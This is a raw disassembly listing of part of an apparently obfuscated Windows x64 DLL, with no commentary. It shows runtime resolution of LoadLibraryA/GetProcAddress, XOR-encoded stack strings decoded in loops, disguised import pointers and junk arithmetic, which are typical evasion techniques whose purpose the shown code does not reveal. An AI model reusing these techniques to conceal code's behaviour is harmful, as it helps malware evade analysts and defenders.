cmp dword [0x18039d510], ecx
jle 0x18034fbd7
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034fbd7
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rax
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
mov ecx, dword [r12 + rax]
cmp dword [0x1803a1558], ecx
jle 0x18034fc16
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034fc16
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
lea rcx, [rbp - 0x16]
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0x1b1]
call qword [0x1803a1560]
mov r12, rax
test rax, rax
je 0x18035152e
xor r9d, r9d
lea rcx, [rbp + 0x3c8]
xor r8d, r8d
xor edx, edx
call r13
test eax, eax
jle 0x180351420
lea rcx, [rbp + 0x3c8]
call rdi
lea rcx, [rbp + 0x3c8]
call r12
cmp dword [rbp + 0x3d0], 0x113
jne 0x180351406
mov rax, qword [rbp + 0x3d8]
cmp rax, rbx
jne 0x180350e90
mov rax, qword [rsi + r14*8]
mov ebx, 4
mov ecx, dword [rbx + rax]
cmp dword [0x1803a1aa0], ecx
jle 0x18034fdce
lea rcx, [0x1803a1aa0]
call fcn.180360f8c
cmp dword [0x1803a1aa0], 0xffffffff
lea rdi, [0x18039d520]
jne 0x18034fdd5
xorps xmm0, xmm0
mov qword [0x18039d528], r15
xorps xmm1, xmm1
movdqa xmmword [0x18039d530], xmm0
lea rcx, [0x1803a1048]
movdqa xmmword [0x18039d540], xmm1
movdqa xmmword [0x18039d560], xmm0
movdqa xmmword [0x18039d570], xmm1
movdqa xmmword [0x18039d580], xmm0
movdqa xmmword [0x18039d590], xmm1
mov qword [0x18039d550], r15
mov qword [0x18039d520], rdi
mov qword [0x18039d558], rdi
mov qword [0x18039d5a0], r15
mov word [0x18039f2ec], 0
mov word [0x1803a1034], 0
call fcn.1803540c0
xor r8d, r8d
mov dword [0x1803a1038], r15d
xor edx, edx
mov qword [0x1803a1040], r15
lea rcx, [0x1803a1068]
call fcn.180001990
lea rcx, [0x1803a1078]
call fcn.180351640
xorps xmm0, xmm0
mov qword [0x1803a10a0], r15
lea rcx, [0x18037d3f0]
movdqa xmmword [0x1803a1090], xmm0
mov qword [0x1803a1058], r15
mov qword [0x1803a1060], r15
mov byte [0x1803a1070], 0
mov dword [0x1803a1088], 0x10000
mov dword [0x1803a10a8], r15d
mov qword [0x1803a14c0], r15
mov qword [0x1803a14c8], 0
mov byte [0x1803a14d0], 0
call fcn.1803614c4
lea rcx, [0x1803a1aa0]
call fcn.180360f2c
jmp 0x18034fdd5
lea rdi, [0x18039d520]
mov rcx, rdi
call fcn.18004de20
mov rax, qword [rsi + r14*8]
mov ecx, dword [rbx + rax]
cmp dword [0x1803a1aa0], ecx
jle 0x18034ff14
lea rcx, [0x1803a1aa0]
call fcn.180360f8c
cmp dword [0x1803a1aa0], 0xffffffff
jne 0x18034ff14
xorps xmm0, xmm0
mov qword [0x18039d528], r15
xorps xmm1, xmm1
movdqa xmmword [0x18039d530], xmm0
lea rcx, [0x1803a1048]
movdqa xmmword [0x18039d540], xmm1
movdqa xmmword [0x18039d560], xmm0
movdqa xmmword [0x18039d570], xmm1
movdqa xmmword [0x18039d580], xmm0
movdqa xmmword [0x18039d590], xmm1
mov qword [0x18039d550], r15
mov qword [0x18039d520], rdi
mov qword [0x18039d558], rdi
mov qword [0x18039d5a0], r15
mov word [0x18039f2ec], 0
mov word [0x1803a1034], 0
call fcn.1803540c0
xor r8d, r8d
mov dword [0x1803a1038], r15d
xor edx, edx
mov qword [0x1803a1040], r15
lea rcx, [0x1803a1068]
call fcn.180001990
lea rcx, [0x1803a1078]
call fcn.180351640
xorps xmm0, xmm0
mov qword [0x1803a10a0], r15
lea rcx, [0x18037d3f0]
movdqa xmmword [0x1803a1090], xmm0
mov qword [0x1803a1058], r15
mov qword [0x1803a1060], r15
mov byte [0x1803a1070], 0
mov dword [0x1803a1088], 0x10000
mov dword [0x1803a10a8], r15d
mov qword [0x1803a14c0], r15
mov qword [0x1803a14c8], 0
mov byte [0x1803a14d0], 0
call fcn.1803614c4
lea rcx, [0x1803a1aa0]
call fcn.180360f2c
lea rcx, [0x1803a1038]
call fcn.1800330d0
test al, al
je 0x1803500c4
cmp qword [0x1803a1050], 0
jbe 0x1803500c4
lea rdx, [rbp + 0xe0]
mov ebx, r15d
lea rcx, [0x18039d590]
call fcn.1803516c0
lea rdx, [rbp + 0x278]
lea rcx, [0x18039d590]
call fcn.1803516b0
mov rcx, qword [rbp + 0xe0]
cmp rcx, qword [rax]
je 0x18034ffda
nop dword [rax + rax]
mov rdi, qword [rcx]
cmp byte [rdi + 0x29], 0
je 0x18034ffa7
mov rdi, qword [rdi + 0x30]
call fcn.180005d80
sub rdi, rax
add rdi, 0x3c
test rdi, rdi
jg 0x18034ff9e
mov rax, qword [rbp + 0xe0]
mov rcx, qword [rax]
mov byte [rcx + 0x29], 0
jmp 0x18034ffa0
inc ebx
mov rcx, qword [rbp + 0xe0]
add rcx, 8
lea rdx, [rbp + 0x278]
mov qword [rbp + 0xe0], rcx
lea rcx, [0x18039d590]
call fcn.1803516b0
mov rcx, qword [rbp + 0xe0]
cmp rcx, qword [rax]
jne 0x18034ff70
cmp ebx, 5
jge 0x1803500bf
lea rdx, [rbp + 0x100]
lea rcx, [0x18039d590]
call fcn.1803516c0
lea rdx, [rbp + 0x268]
lea rcx, [0x18039d590]
call fcn.1803516b0
mov rcx, qword [rbp + 0x100]
cmp rcx, qword [rax]
je 0x180350050
nop dword [rax]
mov rax, qword [rcx]
cmp dword [rax + 0x9c], 1
jne 0x180350026
cmp byte [rax + 0x28], 0
je 0x1803500b7
add rcx, 8
lea rdx, [rbp + 0x268]
mov qword [rbp + 0x100], rcx
lea rcx, [0x18039d590]
call fcn.1803516b0
mov rcx, qword [rbp + 0x100]
cmp rcx, qword [rax]
jne 0x180350010
lea rdx, [rbp + 0x108]
lea rcx, [0x18039d590]
call fcn.1803516c0
lea rdx, [rbp + 0x280]
lea rcx, [0x18039d590]
call fcn.1803516b0
mov rcx, qword [rbp + 0x108]
cmp rcx, qword [rax]
je 0x1803500bf
mov rax, qword [rcx]
cmp byte [rax + 0x28], 0
je 0x1803500b7
add rcx, 8
lea rdx, [rbp + 0x280]
mov qword [rbp + 0x108], rcx
lea rcx, [0x18039d590]
call fcn.1803516b0
mov rcx, qword [rbp + 0x108]
cmp rcx, qword [rax]
jne 0x180350082
jmp 0x1803500bf
mov rcx, rax
call fcn.180047050
mov ebx, 4
mov rax, qword [rsi + r14*8]
mov ecx, dword [rbx + rax]
cmp dword [0x1803a1aa0], ecx
jle 0x180350202
lea rcx, [0x1803a1aa0]
call fcn.180360f8c
cmp dword [0x1803a1aa0], 0xffffffff
jne 0x180350202
xorps xmm0, xmm0
mov qword [0x18039d528], r15
xorps xmm1, xmm1
movdqa xmmword [0x18039d530], xmm0
lea rax, [0x18039d520]
movdqa xmmword [0x18039d540], xmm1
lea rcx, [0x1803a1048]
mov qword [0x18039d520], rax
movdqa xmmword [0x18039d560], xmm0
movdqa xmmword [0x18039d570], xmm1
movdqa xmmword [0x18039d580], xmm0
mov qword [0x18039d558], rax
movdqa xmmword [0x18039d590], xmm1
mov qword [0x18039d550], r15
mov qword [0x18039d5a0], r15
mov word [0x18039f2ec], 0
mov word [0x1803a1034], 0
call fcn.1803540c0
xor r8d, r8d
mov dword [0x1803a1038], r15d
xor edx, edx
mov qword [0x1803a1040], r15
lea rcx, [0x1803a1068]
call fcn.180001990
lea rcx, [0x1803a1078]
call fcn.180351640
xorps xmm0, xmm0
mov qword [0x1803a10a0], r15
lea rcx, [0x18037d3f0]
movdqa xmmword [0x1803a1090], xmm0
mov qword [0x1803a1058], r15
mov qword [0x1803a1060], r15
mov byte [0x1803a1070], 0
mov dword [0x1803a1088], 0x10000
mov dword [0x1803a10a8], r15d
mov qword [0x1803a14c0], r15
mov qword [0x1803a14c8], 0
mov byte [0x1803a14d0], 0
call fcn.1803614c4
lea rcx, [0x1803a1aa0]
call fcn.180360f2c
lea rdx, [rbp + 0xd0]
lea rcx, [0x1803a1048]
call fcn.1803517b0
lea rdx, [rbp + 0x260]
lea rcx, [0x1803a1048]
call fcn.1803516c0
mov rcx, qword [rbp + 0xd0]
cmp rcx, qword [rax]
je 0x1803507ea
nop dword [rax + rax]
cmp byte [rcx + 0x10], 0
lea r8, [rcx + 0x10]
je 0x1803507bd
cmp byte [rcx + 0x20], 0
jne 0x1803507bd
mov qword [rsp + 0x50], r15
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0x288], rax
mov qword [rbp - 0x50], r15
mov qword [rsp + 0x58], 0x18
mov rcx, qword [rsp + 0x58]
mov rax, qword [rbp - 0x50]
add rcx, rax
mov qword [rsp + 0x58], rcx
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x50]
cmp rax, rcx
jae 0x18035035d
nop dword [rax]
mov dword [rsp + 0x58], 0x16
mov dword [rbp + 0x3e48], 0x1e
mov ecx, dword [rbp + 0x3e48]
mov eax, dword [rsp + 0x58]
add ecx, eax
mov dword [rbp - 0x50], ecx
mov dword [rsp + 0x58], 0x15
mov dword [rbp + 0x3e48], 0xb2
mov ecx, dword [rbp + 0x3e48]
mov eax, dword [rsp + 0x58]
add ecx, eax
mov dword [rbp + 0x3e48], ecx
mov ecx, dword [rbp + 0x3e48]
mov rax, qword [rsp + 0x50]
movzx edx, al
mov eax, dword [rbp - 0x50]
movzx ecx, cl
imul ecx, edx
add al, cl
mov rcx, qword [rsp + 0x50]
add cl, al
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x2d0], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0x288], rax
mov qword [rbp - 0x50], r15
mov qword [rsp + 0x58], 0x18
mov rcx, qword [rsp + 0x58]
mov rax, qword [rbp - 0x50]
add rcx, rax
mov qword [rsp + 0x58], rcx
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x50]
cmp rax, rcx
jb 0x1803502a0
mov qword [rbp + 0x4b0], r8
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0x4a8], rax
lea rdx, [rbp + 0x5d0]
mov qword [rsp + 0x58], 0xb
add r8, 0x59
mov qword [rsp + 0x50], 0xd
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
add rcx, rax
mov qword [rbp - 0x50], rcx
mov qword [rsp + 0x58], 0x27
mov qword [rsp + 0x50], 0x59
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
add rcx, rax
mov qword [rsp + 0x50], rcx
lea rcx, [rbp + 0x3330]
mov rax, qword [rbp - 0x50]
mov r9, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2d0]
mov qword [rsp + 0x20], rax
call fcn.180032110
xor eax, eax
mov qword [rbp + 0x2b0], r15
mov byte [rbp + 0x3e32], al
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x2a0], xmm0
mov word [rbp + 0x3e30], 0xbff6
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 1
jae 0x180350458
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x6d
xor cl, byte [rbp + rax + 0x3e31]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x3e31], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 1
jb 0x180350420
cmp byte [rbp + 0x5d0], 0
mov r8, r15
movzx r10d, byte [rbp + 0x3e31]
mov byte [rbp + 0x3e32], 0
je 0x1803504b8
lea rcx, [rbp + 0x3e31]
test r10b, r10b
je 0x1803504b8
movzx edi, byte [rbp + r8 + 0x5d0]
movzx eax, r10b
nop dword [rax]
movzx edx, al
cmp dil, al
je 0x1803504a6
movzx eax, byte [rcx + 1]
inc rcx
movzx edx, al
test al, al
jne 0x180350490
test dl, dl
je 0x1803504b8
inc r8
cmp byte [rbp + r8 + 0x5d0], 0
jne 0x180350473
lea rsi, [rbp + 0x5d0]
add rsi, r8
movzx eax, byte [rsi]
test al, al
je 0x18035067b
mov r8, rsi
movsx r11d, r10b
mov r9, r15
nop word [rax + rax]
movsx edi, al
lea rcx, [rbp + 0x3e31]
cmp r11d, edi
je 0x180350502
movzx edx, r10b
test dl, dl
je 0x180350502
movsx edx, byte [rcx + 1]
inc rcx
cmp edx, edi
jne 0x1803504f3
cmp byte [rcx], 0
mov rax, r15
cmovne rax, rcx
inc r8
test rax, rax
jne 0x18035051f
movzx eax, byte [r8]
inc r9
test al, al
jne 0x1803504e0
cmp byte [r9 + rsi], 0
lea rbx, [r9 + rsi]
je 0x180350532
mov byte [rbx], 0
inc rbx
jmp 0x180350540
mov rbx, r15
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x540]
call fcn.180352060
mov rdx, rax
lea rcx, [rbp + 0x2a0]
call fcn.180351a50
lea rcx, [rbp + 0x540]
call fcn.180353810
xor eax, eax
mov word [rsp + 0x7c], 0xbaac
mov byte [rsp + 0x7e], al
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 1
jae 0x1803505c2
nop word [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x6a
xor cl, byte [rsp + rax + 0x7d]
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x7d], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 1
jb 0x180350590
mov byte [rsp + 0x7e], 0
test rbx, rbx
je 0x180350676
cmp byte [rbx], 0
mov r8, r15
movzx r10d, byte [rsp + 0x7d]
je 0x180350617
nop
lea rcx, [rsp + 0x7d]
test r10b, r10b
je 0x180350617
movzx edi, byte [r8 + rbx]
movzx eax, r10b
movzx edx, al
cmp dil, al
je 0x180350609
movzx eax, byte [r8 + rbx]
lea rsi, [r8 + rbx]
test al, al
je 0x180350676
mov r8, rsi
movsx r11d, r10b
mov r9, r15
nop
movsx edi, al
lea rcx, [rsp + 0x7d]
cmp r11d, edi
je 0x180350650
mov ebx, 4
mov rax, qword [rbp + 0xd0]
movzx ecx, byte [rax + 0x68]
cmp cl, 4
jb 0x180350791
jne 0x180350940
lea rcx, [rbp + 0x2a0]
call fcn.180351970
cmp rax, 1
jb 0x180350791
mov rcx, qword [rbp + 0xd0]
lea rdx, [rbp + 0x560]
add rcx, 0x10
call fcn.180034860
mov rcx, rax
call fcn.180351da0
mov qword [rbp + 0x250], rax
lea rdx, [rbp + 0x250]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [rbp + 0x410]
add rax, 0x6375e97c
mov qword [rbp + 0x308], 0x6375e97c
mov qword [rbp + 0x300], rax
movaps xmm0, xmmword [rbp + 0x300]
movdqa xmmword [rbp + 0x410], xmm0
call fcn.180354820
lea rcx, [rbp + 0x560]
mov qword [rbp + 0x1e0], rax
call fcn.180353810
cmp qword [rbp + 0x1e0], 0
je 0x180350791
mov rcx, qword [rbp + 0x2a0]
call fcn.180351da0
mov qword [rbp + 0x258], rax
lea r8, [rbp + 0x258]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x1e0]
add rax, 0x6bb56237
mov qword [rbp + 0x318], 0x6bb56237
mov qword [rbp + 0x310], rax
lea rcx, [rbp + 0x420]
movaps xmm0, xmmword [rbp + 0x310]
movdqa xmmword [rbp + 0x420], xmm0
call fcn.180354890
test rax, rax
je 0x180350791
call rax
mov rsi, qword gs:[0x58]
mov rax, qword [rbp + 0xd0]
lea rcx, [rbp + 0x2a0]
mov byte [rax + 0x20], 1
call fcn.1803535d0
mov rcx, qword [rbp + 0xd0]
mov ebx, 4
mov rax, qword [rcx]
lea rdx, [rbp + 0x260]
lea rcx, [0x1803a1048]
mov qword [rbp + 0xd0], rax
call fcn.1803516c0
mov rcx, qword [rbp + 0xd0]
cmp rcx, qword [rax]
jne 0x180350240
mov rax, qword [rsi + r14*8]
mov ecx, dword [rbx + rax]
cmp dword [0x1803a1aa0], ecx
jle 0x180350928
lea rcx, [0x1803a1aa0]
call fcn.180360f8c
cmp dword [0x1803a1aa0], 0xffffffff
jne 0x180350928
xorps xmm0, xmm0
mov qword [0x18039d528], r15
xorps xmm1, xmm1
movdqa xmmword [0x18039d530], xmm0
lea rax, [0x18039d520]
movdqa xmmword [0x18039d540], xmm1
lea rcx, [0x1803a1048]
mov qword [0x18039d520], rax
movdqa xmmword [0x18039d560], xmm0
movdqa xmmword [0x18039d570], xmm1
movdqa xmmword [0x18039d580], xmm0
mov qword [0x18039d558], rax
movdqa xmmword [0x18039d590], xmm1
mov qword [0x18039d550], r15
mov qword [0x18039d5a0], r15
mov word [0x18039f2ec], 0
mov word [0x1803a1034], 0
call fcn.1803540c0
xor r8d, r8d
mov dword [0x1803a1038], r15d
xor edx, edx
mov qword [0x1803a1040], r15
lea rcx, [0x1803a1068]
call fcn.180001990
lea rcx, [0x1803a1078]
call fcn.180351640
xorps xmm0, xmm0
mov qword [0x1803a10a0], r15
lea rcx, [0x18037d3f0]
movdqa xmmword [0x1803a1090], xmm0
mov qword [0x1803a1058], r15
mov qword [0x1803a1060], r15
mov byte [0x1803a1070], 0
mov dword [0x1803a1088], 0x10000
mov dword [0x1803a10a8], r15d
mov qword [0x1803a14c0], r15
mov qword [0x1803a14c8], 0
mov byte [0x1803a14d0], 0
call fcn.1803614c4
lea rcx, [0x1803a1aa0]
call fcn.180360f2c
lea rcx, [0x1803a1068]
call fcn.180001ae0
mov rbx, qword [rbp + 0x230]
jmp 0x180351401
cmp cl, 5
jne 0x180350791
xor eax, eax
mov dword [rbp + 0xba], 0x2824186c
mov byte [rbp + 0xc8], al
mov byte [rbp + 0x3a], al
mov dword [rbp + 0xbe], 0x29152322
mov dword [rbp + 0xc2], 0x21213037
mov word [rbp + 0xc6], 0x1633
mov dword [rbp + 0x2e], 0xf8f4c8f4
mov dword [rbp + 0x32], 0x9393f3f2
mov dword [rbp + 0x36], 0xc9c8c78c
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xd
jae 0x1803509d8
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
add cl, 0x4b
xor cl, byte [rbp + rax + 0xbb]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xbb], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xd
jb 0x1803509a0
mov byte [rbp + 0xc8], 0
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xb
jae 0x180350a22
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x65
xor cl, byte [rbp + rax + 0x2f]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x2f], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xb
jb 0x1803509f0
mov rsi, qword gs:[0x58]
mov byte [rbp + 0x3a], 0
mov rax, qword [rsi + r14*8]
mov ecx, dword [rbx + rax]
cmp dword [0x18039d510], ecx
jle 0x180350a6d
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x180350a6d
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rax
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
mov ecx, dword [rbx + rax]
cmp dword [0x1803a1558], ecx
jle 0x180350aab
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x180350aab
lea rcx, [rbp + 0x2f]
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0xbb]
call qword [0x1803a1560]
mov rbx, rax
test rax, rax
je 0x18035079a
cmp rax, qword [rbp + 0x220]
jne 0x180351406
movdqa xmm0, xmmword [0x18038fbd0]
xor eax, eax
mov byte [rbp + 0x124], al
movdqu xmmword [rbp + 0x110], xmm0
mov dword [rbp + 0x120], 0xe1e6ecf2
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0x13
jae 0x180350f08
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x72
xor cl, byte [rbp + rax + 0x111]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x111], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x13
jb 0x180350ed0
mov byte [rbp + 0x124], 0
call fcn.1800015d0
mov rcx, qword [rsi + r14*8]
mov rdi, rax
mov eax, 4
mov edx, dword [rax + rcx]
cmp dword [0x18039d510], edx
jle 0x180350f5a
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x180350f5a
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1803a15b8], rcx
lea rcx, [0x18039d510]
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
mov ecx, 4
mov ecx, dword [rcx + rax]
cmp dword [0x1803a1558], ecx
jle 0x180350f9d
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x180350f9d
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0x111]
call qword [0x1803a1560]
test rax, rax
je 0x180351401
lea rcx, [rbp + 0x2f30]
mov qword [rbp + 0x4b8], rcx
mov qword [rsp + 0x50], 0x338
mov qword [rsp + 0x58], 0xc8
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
add rdx, rcx
lea rcx, [rbp + 0x2f30]
mov qword [rsp + 0x50], rdx
mov rdx, qword [rsp + 0x50]
call rax
xor eax, eax
mov dword [rbp + 0x9c], 0xc4c2f303
mov byte [rbp + 0xaa], al
mov dword [rbp + 0xa0], 0xd9d8d7dc
mov dword [rbp + 0xa4], 0xdc968585
mov word [rbp + 0xa8], 0xdec2
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xd
jae 0x180351078
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x51
xor cl, byte [rbp + rax + 0x9d]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x9d], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xd
jb 0x180351040
cmp byte [rbp + 0x2f30], 0
mov ecx, r15d
mov byte [rbp + 0xaa], 0
je 0x18035109c
nop dword [rax + rax]
inc ecx
cmp byte [rbp + rcx + 0x2f30], 0
jne 0x180351090
mov eax, ecx
lea rdx, [rbp + 0x9d]
lea rcx, [rbp + 0x2f30]
add rcx, rax
sub rdx, rcx
movzx eax, byte [rcx + rdx]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1803510b2
movdqa xmm0, xmmword [0x18038f9d0]
lea rax, [rbp + 0x1460]
mov qword [rbp + 0x4e0], rax
lea rdi, [rbp + 0x1460]
mov qword [rsp + 0x58], 0x24e
mov qword [rsp + 0x50], 0x1b2
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
add rcx, rax
xor eax, eax
mov qword [rsp + 0x50], rcx
mov rcx, qword [rsp + 0x50]
rep stosb byte [rdi], al
mov byte [rbp + 0x1460], 0x22
movdqu xmmword [rbp + 0x13a], xmm0
mov dword [rbp + 0x14a], 0xb09582
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0x12
jae 0x18035116b
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x20
xor cl, byte [rbp + rax + 0x13b]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x13b], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x12
jb 0x180351133
mov byte [rbp + 0x14d], 0
call fcn.1800015d0
mov rcx, qword [rsi + r14*8]
mov rdi, rax
mov eax, 4
mov edx, dword [rax + rcx]
cmp dword [0x18039d510], edx
jle 0x1803511bd
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x1803511bd
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1803a15b8], rcx
lea rcx, [0x18039d510]
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
mov ecx, 4
mov ecx, dword [rcx + rax]
cmp dword [0x1803a1558], ecx
jle 0x180351200
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x180351200
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0x13b]
call qword [0x1803a1560]
mov rdi, rax
test rax, rax
je 0x180351401
lea rax, [rbp + 0x1460]
mov qword [rbp + 0x430], rax
mov qword [rsp + 0x50], 0x4a
mov qword [rsp + 0x58], 0x3b6
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
add rdx, rcx
mov qword [rsp + 0x50], rdx
lea rdx, [rbp + 0x1461]
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x18039c7e0]
dec r8d
call rdi
mov dword [rbp + 0x56], 0x760e0376
mov dword [rbp + 0x5a], 0x68676b73
mov dword [rbp + 0x5e], 0x465c6a6d
mov word [rbp + 0x62], 0x61
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xc
jae 0x1803512d2
nop word [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
add cl, 0x21
xor cl, byte [rbp + rax + 0x57]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x57], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xc
jb 0x1803512a0
cmp byte [rbp + 0x1460], 0
mov ecx, r15d
mov byte [rbp + 0x63], 0
je 0x1803512ee
inc ecx
cmp byte [rbp + rcx + 0x1460], 0
jne 0x1803512e2
mov eax, ecx
lea rdx, [rbp + 0x57]
lea rcx, [rbp + 0x1460]
add rcx, rax
sub rdx, rcx
movzx eax, byte [rcx + rdx]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x180351301
lea rax, [rbp + 0x2b30]
mov qword [rbp + 0x438], rax
lea rdx, [rbp + 0x2b30]
mov qword [rsp + 0x58], 0x229
mov qword [rsp + 0x50], 0x1d7
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
add rcx, rax
mov qword [rsp + 0x50], rcx
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x18039c7e0]
call rdi
lea rdi, [rbp + 0x2b30]
nop dword [rax]
movzx eax, byte [rdi]
inc rdi
test al, al
jne 0x180351360
lea rax, [rbp + 0x2b30]
cmp rdi, rax
jb 0x18035138a
cmp byte [rdi], 0x5c
je 0x18035138a
dec rdi
lea rax, [rbp + 0x2b30]
cmp rdi, rax
jae 0x180351376
lea rax, [rbp + 0x2b30]
cmp rdi, rax
cmovb rdi, r15
inc rdi
mov rcx, rdi
nop
movzx eax, byte [rcx]
inc rcx
test al, al
jne 0x1803513a0
cmp rcx, rdi
jb 0x1803513c0
mov rdi, qword [rsp + 0x70]
xor r9d, r9d
lea rcx, [rbp + 0x3c8]
xor r8d, r8d
xor edx, edx
call r13
test eax, eax
jg 0x18034fc56
mov dword [rbp - 0xb], 0x8e9d9afd
mov dword [rbp - 7], 0xb2b7bd93
mov dword [rbp - 3], 0xa6a0ba
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xa
jae 0x180351482
nop word [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x33
xor cl, byte [rbp + rax - 0xa]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax - 0xa], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xa
jb 0x180351450
mov byte [rbp], 0
call fcn.180001750
mov rcx, qword [rsi + r14*8]
mov rdi, rax
mov ebx, 4
mov edx, dword [rbx + rcx]
cmp dword [0x18039d510], edx
jle 0x1803514d1
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x1803514d1
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1803a15b8], rcx
lea rcx, [0x18039d510]
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
